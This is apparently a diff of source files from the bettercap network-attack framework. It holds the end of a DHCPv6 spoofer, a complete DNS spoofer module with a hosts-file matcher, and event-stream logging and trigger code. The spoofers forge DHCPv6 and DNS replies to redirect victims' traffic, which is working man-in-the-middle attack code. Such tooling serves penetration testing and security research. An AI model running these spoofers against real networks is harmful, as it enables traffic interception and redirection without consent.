+	reply.Options.AddRaw(dhcp6.OptionIANA, ianaRaw)
+
+	rawAdv, err := reply.MarshalBinary()
+	if err != nil {
+		mod.Error("Error serializing advertisement packet: %s.", err)
+		return
+	}
+
+	pip6 := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6)
+	eth := layers.Ethernet{
+		SrcMAC:       mod.Session.Interface.HW,
+		DstMAC:       target,
+		EthernetType: layers.EthernetTypeIPv6,
+	}
+
+	ip6 := layers.IPv6{
+		Version:    6,
+		NextHeader: layers.IPProtocolUDP,
+		HopLimit:   64,
+		SrcIP:      mod.Session.Interface.IPv6,
+		DstIP:      pip6.SrcIP,
+	}
+
+	udp := layers.UDP{
+		SrcPort: 547,
+		DstPort: 546,
+	}
+
+	udp.SetNetworkLayerForChecksum(&ip6)
+
+	dhcp := packets.DHCPv6Layer{
+		Raw: rawAdv,
+	}
+
+	err, raw := packets.Serialize(&eth, &ip6, &udp, &dhcp)
+	if err != nil {
+		mod.Error("Error serializing packet: %s.", err)
+		return
+	}
+
+	mod.Debug("Sending %d bytes of packet ...", len(raw))
+	if err := mod.Session.Queue.Send(raw); err != nil {
+		mod.Error("Error sending packet: %s", err)
+	}
+
+	if toType == "request" {
+		var addr net.IP
+		if raw, found := reqIANA.Options[dhcp6.OptionIAAddr]; found {
+			addr = net.IP(raw[0])
+		}
+
+		if h, found := mod.Session.Lan.Get(target.String()); found {
+			mod.Info("IPv6 address %s is now assigned to %s", addr.String(), h)
+		} else {
+			mod.Info("IPv6 address %s is now assigned to %s", addr.String(), target)
+		}
+	} else {
+		mod.Debug("DHCPv6 renew sent to %s", target)
+	}
+}
+
+func (mod *DHCP6Spoofer) duidMatches(dhcp dhcp6.Packet) bool {
+	if raw, found := dhcp.Options[dhcp6.OptionServerID]; found && len(raw) >= 1 {
+		if bytes.Equal(raw[0], mod.DUIDRaw) {
+			return true
+		}
+	}
+	return false
+}
+
+func (mod *DHCP6Spoofer) onPacket(pkt gopacket.Packet) {
+	var dhcp dhcp6.Packet
+	var err error
+
+	udp := pkt.Layer(layers.LayerTypeUDP).(*layers.UDP)
+	if udp == nil {
+		return
+	}
+
+	// we just got a dhcp6 packet?
+	if err = dhcp.UnmarshalBinary(udp.Payload); err == nil {
+		eth := pkt.Layer(layers.LayerTypeEthernet).(*layers.Ethernet)
+		switch dhcp.MessageType {
+		case dhcp6.MessageTypeSolicit:
+
+			mod.dhcpAdvertise(pkt, dhcp, eth.SrcMAC)
+
+		case dhcp6.MessageTypeRequest:
+			if mod.duidMatches(dhcp) {
+				mod.dhcpReply("request", pkt, dhcp, eth.SrcMAC)
+			}
+
+		case dhcp6.MessageTypeRenew:
+			if mod.duidMatches(dhcp) {
+				mod.dhcpReply("renew", pkt, dhcp, eth.SrcMAC)
+			}
+		}
+	}
+}
+
+func (mod *DHCP6Spoofer) Start() error {
+	if err := mod.Configure(); err != nil {
+		return err
+	}
+
+	return mod.SetRunning(true, func() {
+		mod.waitGroup.Add(1)
+		defer mod.waitGroup.Done()
+
+		src := gopacket.NewPacketSource(mod.Handle, mod.Handle.LinkType())
+		mod.pktSourceChan = src.Packets()
+		for packet := range mod.pktSourceChan {
+			if !mod.Running() {
+				break
+			}
+
+			mod.onPacket(packet)
+		}
+	})
+}
+
+func (mod *DHCP6Spoofer) Stop() error {
+	return mod.SetRunning(false, func() {
+		mod.pktSourceChan <- nil
+		mod.Handle.Close()
+		mod.waitGroup.Wait()
+	})
+}

+ 332 - 0
bettercap/modules/dns_spoof/dns_spoof.go

@@ -0,0 +1,332 @@
+package dns_spoof
+
+import (
+	"bytes"
+	"fmt"
+	"net"
+	"strconv"
+	"sync"
+
+	"github.com/bettercap/bettercap/log"
+	"github.com/bettercap/bettercap/network"
+	"github.com/bettercap/bettercap/packets"
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/google/gopacket"
+	"github.com/google/gopacket/layers"
+	"github.com/google/gopacket/pcap"
+
+	"github.com/evilsocket/islazy/tui"
+)
+
+type DNSSpoofer struct {
+	session.SessionModule
+	Handle        *pcap.Handle
+	Hosts         Hosts
+	TTL           uint32
+	All           bool
+	waitGroup     *sync.WaitGroup
+	pktSourceChan chan gopacket.Packet
+}
+
+func NewDNSSpoofer(s *session.Session) *DNSSpoofer {
+	mod := &DNSSpoofer{
+		SessionModule: session.NewSessionModule("dns.spoof", s),
+		Handle:        nil,
+		All:           false,
+		Hosts:         Hosts{},
+		TTL:           1024,
+		waitGroup:     &sync.WaitGroup{},
+	}
+
+	mod.SessionModule.Requires("net.recon")
+
+	mod.AddParam(session.NewStringParameter("dns.spoof.hosts",
+		"",
+		"",
+		"If not empty, this hosts file will be used to map domains to IP addresses."))
+
+	mod.AddParam(session.NewStringParameter("dns.spoof.domains",
+		"",
+		"",
+		"Comma separated values of domain names to spoof."))
+
+	mod.AddParam(session.NewStringParameter("dns.spoof.address",
+		session.ParamIfaceAddress,
+		session.IPv4Validator,
+		"IP address to map the domains to."))
+
+	mod.AddParam(session.NewBoolParameter("dns.spoof.all",
+		"false",
+		"If true the module will reply to every DNS request, otherwise it will only reply to the one targeting the local pc."))
+
+	mod.AddParam(session.NewStringParameter("dns.spoof.ttl",
+		"1024",
+		"^[0-9]+$",
+		"TTL of spoofed DNS replies."))
+
+	mod.AddHandler(session.NewModuleHandler("dns.spoof on", "",
+		"Start the DNS spoofer in the background.",
+		func(args []string) error {
+			return mod.Start()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("dns.spoof off", "",
+		"Stop the DNS spoofer in the background.",
+		func(args []string) error {
+			return mod.Stop()
+		}))
+
+	return mod
+}
+
+func (mod DNSSpoofer) Name() string {
+	return "dns.spoof"
+}
+
+func (mod DNSSpoofer) Description() string {
+	return "Replies to DNS messages with spoofed responses."
+}
+
+func (mod DNSSpoofer) Author() string {
+	return "Simone Margaritelli <evilsocket@gmail.com>"
+}
+
+func (mod *DNSSpoofer) Configure() error {
+	var err error
+	var ttl string
+	var hostsFile string
+	var domains []string
+	var address net.IP
+
+	if mod.Running() {
+		return session.ErrAlreadyStarted(mod.Name())
+	} else if mod.Handle, err = network.Capture(mod.Session.Interface.Name()); err != nil {
+		return err
+	} else if err = mod.Handle.SetBPFFilter("udp"); err != nil {
+		return err
+	} else if err, mod.All = mod.BoolParam("dns.spoof.all"); err != nil {
+		return err
+	} else if err, address = mod.IPParam("dns.spoof.address"); err != nil {
+		return err
+	} else if err, domains = mod.ListParam("dns.spoof.domains"); err != nil {
+		return err
+	} else if err, hostsFile = mod.StringParam("dns.spoof.hosts"); err != nil {
+		return err
+	} else if err, ttl = mod.StringParam("dns.spoof.ttl"); err != nil {
+		return err
+	}
+
+	mod.Hosts = Hosts{}
+	for _, domain := range domains {
+		mod.Hosts = append(mod.Hosts, NewHostEntry(domain, address))
+	}
+
+	if hostsFile != "" {
+		mod.Info("loading hosts from file %s ...", hostsFile)
+		if err, hosts := HostsFromFile(hostsFile, address); err != nil {
+			return fmt.Errorf("error reading hosts from file %s: %v", hostsFile, err)
+		} else {
+			mod.Hosts = append(mod.Hosts, hosts...)
+		}
+	}
+
+	if len(mod.Hosts) == 0 {
+		return fmt.Errorf("at least dns.spoof.hosts or dns.spoof.domains must be filled")
+	}
+
+	for _, entry := range mod.Hosts {
+		mod.Info("%s -> %s", entry.Host, entry.Address)
+	}
+
+	if !mod.Session.Firewall.IsForwardingEnabled() {
+		mod.Info("enabling forwarding.")
+		mod.Session.Firewall.EnableForwarding(true)
+	}
+
+	_ttl, _ := strconv.Atoi(ttl)
+	mod.TTL = uint32(_ttl)
+
+	return nil
+}
+
+func DnsReply(s *session.Session, TTL uint32, pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) (string, string) {
+	redir := fmt.Sprintf("(->%s)", address.String())
+	who := target.String()
+
+	if t, found := s.Lan.Get(target.String()); found {
+		who = t.String()
+	}
+
+	var err error
+	var src, dst net.IP
+
+	nlayer := pkt.NetworkLayer()
+	if nlayer == nil {
+		log.Debug("missing network layer skipping packet.")
+		return "", ""
+	}
+
+	var eType layers.EthernetType
+	var ipv6 bool
+
+	if nlayer.LayerType() == layers.LayerTypeIPv4 {
+		pip := pkt.Layer(layers.LayerTypeIPv4).(*layers.IPv4)
+		src = pip.DstIP
+		dst = pip.SrcIP
+		ipv6 = false
+		eType = layers.EthernetTypeIPv4
+
+	} else {
+		pip := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6)
+		src = pip.DstIP
+		dst = pip.SrcIP
+		ipv6 = true
+		eType = layers.EthernetTypeIPv6
+	}
+
+	eth := layers.Ethernet{
+		SrcMAC:       peth.DstMAC,
+		DstMAC:       target,
+		EthernetType: eType,
+	}
+
+	answers := make([]layers.DNSResourceRecord, 0)
+	for _, q := range req.Questions {
+		// do not include types we can't handle and that are not needed
+		// for successful spoofing anyway
+		// ref: https://github.com/bettercap/bettercap/issues/843
+		if q.Type.String() == "Unknown" {
+			continue
+		}
+
+		answers = append(answers,
+			layers.DNSResourceRecord{
+				Name:  []byte(q.Name),
+				Type:  q.Type,
+				Class: q.Class,
+				TTL:   TTL,
+				IP:    address,
+			})
+	}
+
+	dns := layers.DNS{
+		ID:        req.ID,
+		QR:        true,
+		OpCode:    layers.DNSOpCodeQuery,
+		QDCount:   req.QDCount,
+		Questions: req.Questions,
+		Answers:   answers,
+	}
+
+	var raw []byte
+
+	if ipv6 {
+		ip6 := layers.IPv6{
+			Version:    6,
+			NextHeader: layers.IPProtocolUDP,
+			HopLimit:   64,
+			SrcIP:      src,
+			DstIP:      dst,
+		}
+
+		udp := layers.UDP{
+			SrcPort: pudp.DstPort,
+			DstPort: pudp.SrcPort,
+		}
+
+		udp.SetNetworkLayerForChecksum(&ip6)
+
+		err, raw = packets.Serialize(&eth, &ip6, &udp, &dns)
+		if err != nil {
+			log.Error("error serializing ipv6 packet: %s.", err)
+			return "", ""
+		}
+	} else {
+		ip4 := layers.IPv4{
+			Protocol: layers.IPProtocolUDP,
+			Version:  4,
+			TTL:      64,
+			SrcIP:    src,
+			DstIP:    dst,
+		}
+
+		udp := layers.UDP{
+			SrcPort: pudp.DstPort,
+			DstPort: pudp.SrcPort,
+		}
+
+		udp.SetNetworkLayerForChecksum(&ip4)
+
+		err, raw = packets.Serialize(&eth, &ip4, &udp, &dns)
+		if err != nil {
+			log.Error("error serializing ipv4 packet: %s.", err)
+			return "", ""
+		}
+	}
+
+	log.Debug("sending %d bytes of packet ...", len(raw))
+	if err := s.Queue.Send(raw); err != nil {
+		log.Error("error sending packet: %s", err)
+		return "", ""
+	}
+
+	return redir, who
+}
+
+func (mod *DNSSpoofer) onPacket(pkt gopacket.Packet) {
+	typeEth := pkt.Layer(layers.LayerTypeEthernet)
+	typeUDP := pkt.Layer(layers.LayerTypeUDP)
+	if typeEth == nil || typeUDP == nil {
+		return
+	}
+
+	eth := typeEth.(*layers.Ethernet)
+	if mod.All || bytes.Equal(eth.DstMAC, mod.Session.Interface.HW) {
+		dns, parsed := pkt.Layer(layers.LayerTypeDNS).(*layers.DNS)
+		if parsed && dns.OpCode == layers.DNSOpCodeQuery && len(dns.Questions) > 0 && len(dns.Answers) == 0 {
+			udp := typeUDP.(*layers.UDP)
+			for _, q := range dns.Questions {
+				qName := string(q.Name)
+				if address := mod.Hosts.Resolve(qName); address != nil {
+					redir, who := DnsReply(mod.Session, mod.TTL, pkt, eth, udp, qName, address, dns, eth.SrcMAC)
+					if redir != "" && who != "" {
+						mod.Info("sending spoofed DNS reply for %s %s to %s.", tui.Red(qName), tui.Dim(redir), tui.Bold(who))
+					}
+					break
+				} else {
+					mod.Debug("skipping domain %s", qName)
+				}
+			}
+		}
+	}
+}
+
+func (mod *DNSSpoofer) Start() error {
+	if err := mod.Configure(); err != nil {
+		return err
+	}
+
+	return mod.SetRunning(true, func() {
+		mod.waitGroup.Add(1)
+		defer mod.waitGroup.Done()
+
+		src := gopacket.NewPacketSource(mod.Handle, mod.Handle.LinkType())
+		mod.pktSourceChan = src.Packets()
+		for packet := range mod.pktSourceChan {
+			if !mod.Running() {
+				break
+			}
+
+			mod.onPacket(packet)
+		}
+	})
+}
+
+func (mod *DNSSpoofer) Stop() error {
+	return mod.SetRunning(false, func() {
+		mod.pktSourceChan <- nil
+		mod.Handle.Close()
+		mod.waitGroup.Wait()
+	})
+}

+ 83 - 0
bettercap/modules/dns_spoof/dns_spoof_hosts.go

@@ -0,0 +1,83 @@
+package dns_spoof
+
+import (
+	"bufio"
+	"net"
+	"os"
+	"regexp"
+	"strings"
+
+	"github.com/gobwas/glob"
+
+	"github.com/evilsocket/islazy/str"
+)
+
+var hostsSplitter = regexp.MustCompile(`\s+`)
+
+type HostEntry struct {
+	Host    string
+	Suffix  string
+	Expr    glob.Glob
+	Address net.IP
+}
+
+func (e HostEntry) Matches(host string) bool {
+	lowerHost := strings.ToLower(host)
+	return e.Host == lowerHost || strings.HasSuffix(lowerHost, e.Suffix) || (e.Expr != nil && e.Expr.Match(lowerHost))
+}
+
+type Hosts []HostEntry
+
+func NewHostEntry(host string, address net.IP) HostEntry {
+	entry := HostEntry{
+		Host:    host,
+		Address: address,
+	}
+
+	if host[0] == '.' {
+		entry.Suffix = host
+	} else {
+		entry.Suffix = "." + host
+	}
+
+	if expr, err := glob.Compile(host); err == nil {
+		entry.Expr = expr
+	}
+
+	return entry
+}
+
+func HostsFromFile(filename string, defaultAddress net.IP) (err error, entries []HostEntry) {
+	input, err := os.Open(filename)
+	if err != nil {
+		return
+	}
+	defer input.Close()
+
+	scanner := bufio.NewScanner(input)
+	scanner.Split(bufio.ScanLines)
+	for scanner.Scan() {
+		line := str.Trim(scanner.Text())
+		if line == "" || line[0] == '#' {
+			continue
+		}
+		if parts := hostsSplitter.Split(line, 2); len(parts) == 2 {
+			address := net.ParseIP(parts[0])
+			domain := parts[1]
+			entries = append(entries, NewHostEntry(domain, address))
+		} else {
+			entries = append(entries, NewHostEntry(line, defaultAddress))
+		}
+	}
+
+	return
+}
+
+func (h Hosts) Resolve(host string) net.IP {
+	for _, entry := range h {
+		if entry.Matches(host) {
+			return entry.Address
+		}
+	}
+	return nil
+}

+ 2 - 0
bettercap/modules/doc.go

@@ -0,0 +1,2 @@
+// Package modules contains session modules.
+package modules

+ 61 - 0
bettercap/modules/events_stream/events_rotation.go

@@ -0,0 +1,61 @@
+package events_stream
+
+import (
+	"fmt"
+	"github.com/evilsocket/islazy/zip"
+	"os"
+	"time"
+)
+
+func (mod *EventsStream) doRotation() {
+	if mod.output == os.Stdout {
+		return
+	} else if !mod.rotation.Enabled {
+		return
+	}
+
+	output, isFile := mod.output.(*os.File)
+	if !isFile {
+		return
+	}
+
+	mod.rotation.Lock()
+	defer mod.rotation.Unlock()
+
+	doRotate := false
+	if info, err := output.Stat(); err == nil {
+		if mod.rotation.How == "size" {
+			doRotate = float64(info.Size()) >= float64(mod.rotation.Period*1024*1024)
+		} else if mod.rotation.How == "time" {
+			doRotate = info.ModTime().Unix()%int64(mod.rotation.Period) == 0
+		}
+	}
+
+	if doRotate {
+		var err error
+
+		name := fmt.Sprintf("%s-%s", mod.outputName, time.Now().Format(mod.rotation.Format))
+
+		if err := output.Close(); err != nil {
+			mod.Printf("could not close log for rotation: %s\n", err)
+			return
+		}
+
+		if err := os.Rename(mod.outputName, name); err != nil {
+			mod.Printf("could not rename %s to %s: %s\n", mod.outputName, name, err)
+		} else if mod.rotation.Compress {
+			zipName := fmt.Sprintf("%s.zip", name)
+			if err = zip.Files(zipName, []string{name}); err != nil {
+				mod.Printf("error creating %s: %s", zipName, err)
+			} else if err = os.Remove(name); err != nil {
+				mod.Printf("error deleting %s: %s", name, err)
+			}
+		}
+
+		mod.output, err = os.OpenFile(mod.outputName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
+		if err != nil {
+			mod.Printf("could not open %s: %s", mod.outputName, err)
+		}
+	}
+}
+

+ 369 - 0
bettercap/modules/events_stream/events_stream.go

@@ -0,0 +1,369 @@
+package events_stream
+
+import (
+	"fmt"
+	"io"
+	"os"
+	"strconv"
+	"sync"
+	"time"
+
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/evilsocket/islazy/fs"
+	"github.com/evilsocket/islazy/str"
+	"github.com/evilsocket/islazy/tui"
+)
+
+type rotation struct {
+	sync.Mutex
+	Enabled  bool
+	Compress bool
+	Format   string
+	How      string
+	Period   float64
+}
+
+type EventsStream struct {
+	session.SessionModule
+	timeFormat    string
+	outputName    string
+	output        io.Writer
+	rotation      rotation
+	triggerList   *TriggerList
+	waitFor       string
+	waitChan      chan *session.Event
+	eventListener <-chan session.Event
+	quit          chan bool
+	dumpHttpReqs  bool
+	dumpHttpResp  bool
+	dumpFormatHex bool
+}
+
+func NewEventsStream(s *session.Session) *EventsStream {
+	mod := &EventsStream{
+		SessionModule: session.NewSessionModule("events.stream", s),
+		output:        os.Stdout,
+		timeFormat:    "15:04:05",
+		quit:          make(chan bool),
+		waitChan:      make(chan *session.Event),
+		waitFor:       "",
+		triggerList:   NewTriggerList(),
+	}
+
+	mod.State.Store("ignoring", &mod.Session.EventsIgnoreList)
+
+	mod.AddHandler(session.NewModuleHandler("events.stream on", "",
+		"Start events stream.",
+		func(args []string) error {
+			return mod.Start()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("events.stream off", "",
+		"Stop events stream.",
+		func(args []string) error {
+			return mod.Stop()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("events.show LIMIT?", "events.show(\\s\\d+)?",
+		"Show events stream.",
+		func(args []string) error {
+			limit := -1
+			if len(args) == 1 {
+				arg := str.Trim(args[0])
+				limit, _ = strconv.Atoi(arg)
+			}
+			return mod.Show(limit)
+		}))
+
+	on := session.NewModuleHandler("events.on TAG COMMANDS", `events\.on ([^\s]+) (.+)`,
+		"Run COMMANDS when an event with the specified TAG is triggered.",
+		func(args []string) error {
+			return mod.addTrigger(args[0], args[1])
+		})
+
+	on.Complete("events.on", s.EventsCompleter)
+
+	mod.AddHandler(on)
+
+	mod.AddHandler(session.NewModuleHandler("events.triggers", "",
+		"Show the list of event triggers created by the events.on command.",
+		func(args []string) error {
+			return mod.showTriggers()
+		}))
+
+	onClear := session.NewModuleHandler("events.trigger.delete TRIGGER_ID", `events\.trigger\.delete ([^\s]+)`,
+		"Remove an event trigger given its TRIGGER_ID (use events.triggers to see the list of triggers).",
+		func(args []string) error {
+			return mod.clearTrigger(args[0])
+		})
+
+	onClear.Complete("events.trigger.delete", mod.triggerList.Completer)
+
+	mod.AddHandler(onClear)
+
+	mod.AddHandler(session.NewModuleHandler("events.triggers.clear", "",
+		"Remove all event triggers (use events.triggers to see the list of triggers).",
+		func(args []string) error {
+			return mod.clearTrigger("")
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("events.waitfor TAG TIMEOUT?", `events.waitfor ([^\s]+)([\s\d]*)`,
+		"Wait for an event with the given tag either forever or for a timeout in seconds.",
+		func(args []string) error {
+			tag := args[0]
+			timeout := 0
+			if len(args) == 2 {
+				t := str.Trim(args[1])
+				if t != "" {
+					n, err := strconv.Atoi(t)
+					if err != nil {
+						return err
+					}
+					timeout = n
+				}
+			}
+			return mod.startWaitingFor(tag, timeout)
+		}))
+
+	ignore := session.NewModuleHandler("events.ignore FILTER", "events.ignore ([^\\s]+)",
+		"Events with an identifier matching this filter will not be shown (use multiple times to add more filters).",
+		func(args []string) error {
+			return mod.Session.EventsIgnoreList.Add(args[0])
+		})
+
+	ignore.Complete("events.ignore", s.EventsCompleter)
+
+	mod.AddHandler(ignore)
+
+	include := session.NewModuleHandler("events.include FILTER", "events.include ([^\\s]+)",
+		"Used to remove filters passed with the events.ignore command.",
+		func(args []string) error {
+			return mod.Session.EventsIgnoreList.Remove(args[0])
+		})
+
+	include.Complete("events.include", s.EventsCompleter)
+
+	mod.AddHandler(include)
+
+	mod.AddHandler(session.NewModuleHandler("events.filters", "",
+		"Print the list of filters used to ignore events.",
+		func(args []string) error {
+			if mod.Session.EventsIgnoreList.Empty() {
+				mod.Printf("Ignore filters list is empty.\n")
+			} else {
+				mod.Session.EventsIgnoreList.RLock()
+				defer mod.Session.EventsIgnoreList.RUnlock()
+
+				for _, filter := range mod.Session.EventsIgnoreList.Filters() {
+					mod.Printf("  '%s'\n", string(filter))
+				}
+			}
+			return nil
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("events.filters.clear", "",
+		"Clear the list of filters passed with the events.ignore command.",
+		func(args []string) error {
+			mod.Session.EventsIgnoreList.Clear()
+			return nil
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("events.clear", "",
+		"Clear events stream.",
+		func(args []string) error {
+			mod.Session.Events.Clear()
+			return nil
+		}))
+
+	mod.AddParam(session.NewStringParameter("events.stream.output",
+		"",
+		"",
+		"If not empty, events will be written to this file instead of the standard output."))
+
+	mod.AddParam(session.NewStringParameter("events.stream.time.format",
+		mod.timeFormat,
+		"",
+		"Date and time format to use for events reporting."))
+
+	mod.AddParam(session.NewBoolParameter("events.stream.output.rotate",
+		"true",
+		"If true will enable log rotation."))
+
+	mod.AddParam(session.NewBoolParameter("events.stream.output.rotate.compress",
+		"true",
+		"If true will enable log rotation compression."))
+
+	mod.AddParam(session.NewStringParameter("events.stream.output.rotate.how",
+		"size",
+		"(size|time)",
+		"Rotate by 'size' or 'time'."))
+
+	mod.AddParam(session.NewStringParameter("events.stream.output.rotate.format",
+		"2006-01-02 15:04:05",
+		"",
+		"Datetime format to use for log rotation file names."))
+
+	mod.AddParam(session.NewDecimalParameter("events.stream.output.rotate.when",
+		"10",
+		"File size (in MB) or time duration (in seconds) for log rotation."))
+
+	mod.AddParam(session.NewBoolParameter("events.stream.http.request.dump",
+		"false",
+		"If true all HTTP requests will be dumped."))
+
+	mod.AddParam(session.NewBoolParameter("events.stream.http.response.dump",
+		"false",
+		"If true all HTTP responses will be dumped."))
+
+	mod.AddParam(session.NewBoolParameter("events.stream.http.format.hex",
+		"true",
+		"If true dumped HTTP bodies will be in hexadecimal format."))
+
+	return mod
+}
+
+func (mod *EventsStream) Name() string {
+	return "events.stream"
+}
+
+func (mod *EventsStream) Description() string {
+	return "Print events as a continuous stream."
+}
+
+func (mod *EventsStream) Author() string {
+	return "Simone Margaritelli <evilsocket@gmail.com>"
+}
+
+func (mod *EventsStream) Configure() (err error) {
+	var output string
+
+	if err, output = mod.StringParam("events.stream.output"); err == nil {
+		if output == "" {
+			mod.output = os.Stdout
+		} else if mod.outputName, err = fs.Expand(output); err == nil {
+			mod.output, err = os.OpenFile(mod.outputName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
+			if err != nil {
+				return err
+			}
+		}
+	}
+
+	if err, mod.rotation.Enabled = mod.BoolParam("events.stream.output.rotate"); err != nil {
+		return err
+	} else if err, mod.timeFormat = mod.StringParam("events.stream.time.format"); err != nil {
+		return err
+	} else if err, mod.rotation.Compress = mod.BoolParam("events.stream.output.rotate.compress"); err != nil {
+		return err
+	} else if err, mod.rotation.Format = mod.StringParam("events.stream.output.rotate.format"); err != nil {
+		return err
+	} else if err, mod.rotation.How = mod.StringParam("events.stream.output.rotate.how"); err != nil {
+		return err
+	} else if err, mod.rotation.Period = mod.DecParam("events.stream.output.rotate.when"); err != nil {
+		return err
+	}
+
+	if err, mod.dumpHttpReqs = mod.BoolParam("events.stream.http.request.dump"); err != nil {
+		return err
+	} else if err, mod.dumpHttpResp = mod.BoolParam("events.stream.http.response.dump"); err != nil {
+		return err
+	} else if err, mod.dumpFormatHex = mod.BoolParam("events.stream.http.format.hex"); err != nil {
+		return err
+	}
+
+	return err
+}
+
+func (mod *EventsStream) Start() error {
+	if err := mod.Configure(); err != nil {
+		return err
+	}
+
+	return mod.SetRunning(true, func() {
+		mod.eventListener = mod.Session.Events.Listen()
+		defer mod.Session.Events.Unlisten(mod.eventListener)
+
+		for {
+			var e session.Event
+			select {
+			case e = <-mod.eventListener:
+				if e.Tag == mod.waitFor {
+					mod.waitFor = ""
+					mod.waitChan <- &e
+				}
+
+				if !mod.Session.EventsIgnoreList.Ignored(e) {
+					mod.View(e, true)
+				}
+
+				// this could generate sys.log events and lock the whole
+				// events.stream, make it async
+				go mod.dispatchTriggers(e)
+
+			case <-mod.quit:
+				return
+			}
+		}
+	})
+}
+
+func (mod *EventsStream) Show(limit int) error {
+	events := mod.Session.Events.Sorted()
+	num := len(events)
+
+	selected := []session.Event{}
+	for i := range events {
+		e := events[num-1-i]
+		if !mod.Session.EventsIgnoreList.Ignored(e) {
+			selected = append(selected, e)
+			if len(selected) == limit {
+				break
+			}
+		}
+	}
+
+	if numSelected := len(selected); numSelected > 0 {
+		mod.Printf("\n")
+		for i := range selected {
+			mod.View(selected[numSelected-1-i], false)
+		}
+		mod.Session.Refresh()
+	}
+
+	return nil
+}
+
+func (mod *EventsStream) startWaitingFor(tag string, timeout int) error {
+	if timeout == 0 {
+		mod.Info("waiting for event %s ...", tui.Green(tag))
+	} else {
+		mod.Info("waiting for event %s for %d seconds ...", tui.Green(tag), timeout)
+		go func() {
+			time.Sleep(time.Duration(timeout) * time.Second)
+			mod.waitFor = ""
+			mod.waitChan <- nil
+		}()
+	}
+
+	mod.waitFor = tag
+	event := <-mod.waitChan
+
+	if event == nil {
+		return fmt.Errorf("'events.waitFor %s %d' timed out.", tag, timeout)
+	} else {
+		mod.Debug("got event: %v", event)
+	}
+
+	return nil
+}
+
+func (mod *EventsStream) Stop() error {
+	return mod.SetRunning(false, func() {
+		mod.quit <- true
+		if mod.output != os.Stdout {
+			if fp, ok := mod.output.(*os.File); ok {
+				fp.Close()
+			}
+		}
+	})
+}

+ 60 - 0
bettercap/modules/events_stream/events_triggers.go

@@ -0,0 +1,60 @@
+package events_stream
+
+import (
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/evilsocket/islazy/tui"
+)
+
+func (mod *EventsStream) addTrigger(tag string, command string) error {
+	if err, id := mod.triggerList.Add(tag, command); err != nil {
+		return err
+	} else {
+		mod.Info("trigger for event %s added with identifier '%s'", tui.Green(tag), tui.Bold(id))
+	}
+	return nil
+}
+
+func (mod *EventsStream) clearTrigger(id string) error {
+	if err := mod.triggerList.Del(id); err != nil {
+		return err
+	}
+	return nil
+}
+
+func (mod *EventsStream) showTriggers() error {
+	colNames := []string{
+		"ID",
+		"Event",
+		"Action",
+	}
+	rows := [][]string{}
+
+	mod.triggerList.Each(func(id string, t Trigger) {
+		rows = append(rows, []string{
+			tui.Bold(id),
+			tui.Green(t.For),
+			t.Action,
+		})
+	})
+
+	if len(rows) > 0 {
+		tui.Table(mod.Session.Events.Stdout, colNames, rows)
+		mod.Session.Refresh()
+	}
+
+	return nil
+}
+
+func (mod *EventsStream) dispatchTriggers(e session.Event) {
+	if id, cmds, err, found := mod.triggerList.Dispatch(e); err != nil {
+		mod.Error("error while dispatching event %s: %v", e.Tag, err)
+	} else if found {
+		mod.Debug("running trigger %s (cmds:'%s') for event %v", id, cmds, e)
+		for _, cmd := range session.ParseCommands(cmds) {
+			if err := mod.Session.Run(cmd); err != nil {
+				mod.Error("%s", err.Error())
+			}
+		}
+	}
+}

+ 148 - 0
bettercap/modules/events_stream/events_view.go

@@ -0,0 +1,148 @@
+package events_stream
+
+import (
+	"fmt"
+	"io"
+	"os"
+	"strings"
+
+	"github.com/bettercap/bettercap/network"
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/bettercap/bettercap/modules/net_sniff"
+	"github.com/bettercap/bettercap/modules/syn_scan"
+
+	"github.com/google/go-github/github"
+
+	"github.com/evilsocket/islazy/tui"
+)
+
+func (mod *EventsStream) viewLogEvent(output io.Writer, e session.Event) {
+	fmt.Fprintf(output, "[%s] [%s] [%s] %s\n",
+		e.Time.Format(mod.timeFormat),
+		tui.Green(e.Tag),
+		e.Label(),
+		e.Data.(session.LogMessage).Message)
+}
+
+func (mod *EventsStream) viewEndpointEvent(output io.Writer, e session.Event) {
+	t := e.Data.(*network.Endpoint)
+	vend := ""
+	name := ""
+
+	if t.Vendor != "" {
+		vend = fmt.Sprintf(" (%s)", t.Vendor)
+	}
+
+	if t.Alias != "" {
+		name = fmt.Sprintf(" (%s)", t.Alias)
+	} else if t.Hostname != "" {
+		name = fmt.Sprintf(" (%s)", t.Hostname)
+	}
+
+	if e.Tag == "endpoint.new" {
+		fmt.Fprintf(output, "[%s] [%s] endpoint %s%s detected as %s%s.\n",
+			e.Time.Format(mod.timeFormat),
+			tui.Green(e.Tag),
+			tui.Bold(t.IpAddress),
+			tui.Dim(name),
+			tui.Green(t.HwAddress),
+			tui.Dim(vend))
+	} else if e.Tag == "endpoint.lost" {
+		fmt.Fprintf(output, "[%s] [%s] endpoint %s%s %s%s lost.\n",
+			e.Time.Format(mod.timeFormat),
+			tui.Green(e.Tag),
+			tui.Red(t.IpAddress),
+			tui.Dim(name),
+			tui.Green(t.HwAddress),
+			tui.Dim(vend))
+	} else {
+		fmt.Fprintf(output, "[%s] [%s] %s\n",
+			e.Time.Format(mod.timeFormat),
+			tui.Green(e.Tag),
+			t.String())
+	}
+}
+
+func (mod *EventsStream) viewModuleEvent(output io.Writer, e session.Event) {
+	if *mod.Session.Options.Debug {
+		fmt.Fprintf(output, "[%s] [%s] %s\n",
+			e.Time.Format(mod.timeFormat),
+			tui.Green(e.Tag),
+			e.Data)
+	}
+}
+
+func (mod *EventsStream) viewSnifferEvent(output io.Writer, e session.Event) {
+	if strings.HasPrefix(e.Tag, "net.sniff.http.") {
+		mod.viewHttpEvent(output, e)
+	} else {
+		fmt.Fprintf(output, "[%s] [%s] %s\n",
+			e.Time.Format(mod.timeFormat),
+			tui.Green(e.Tag),
+			e.Data.(net_sniff.SnifferEvent).Message)
+	}
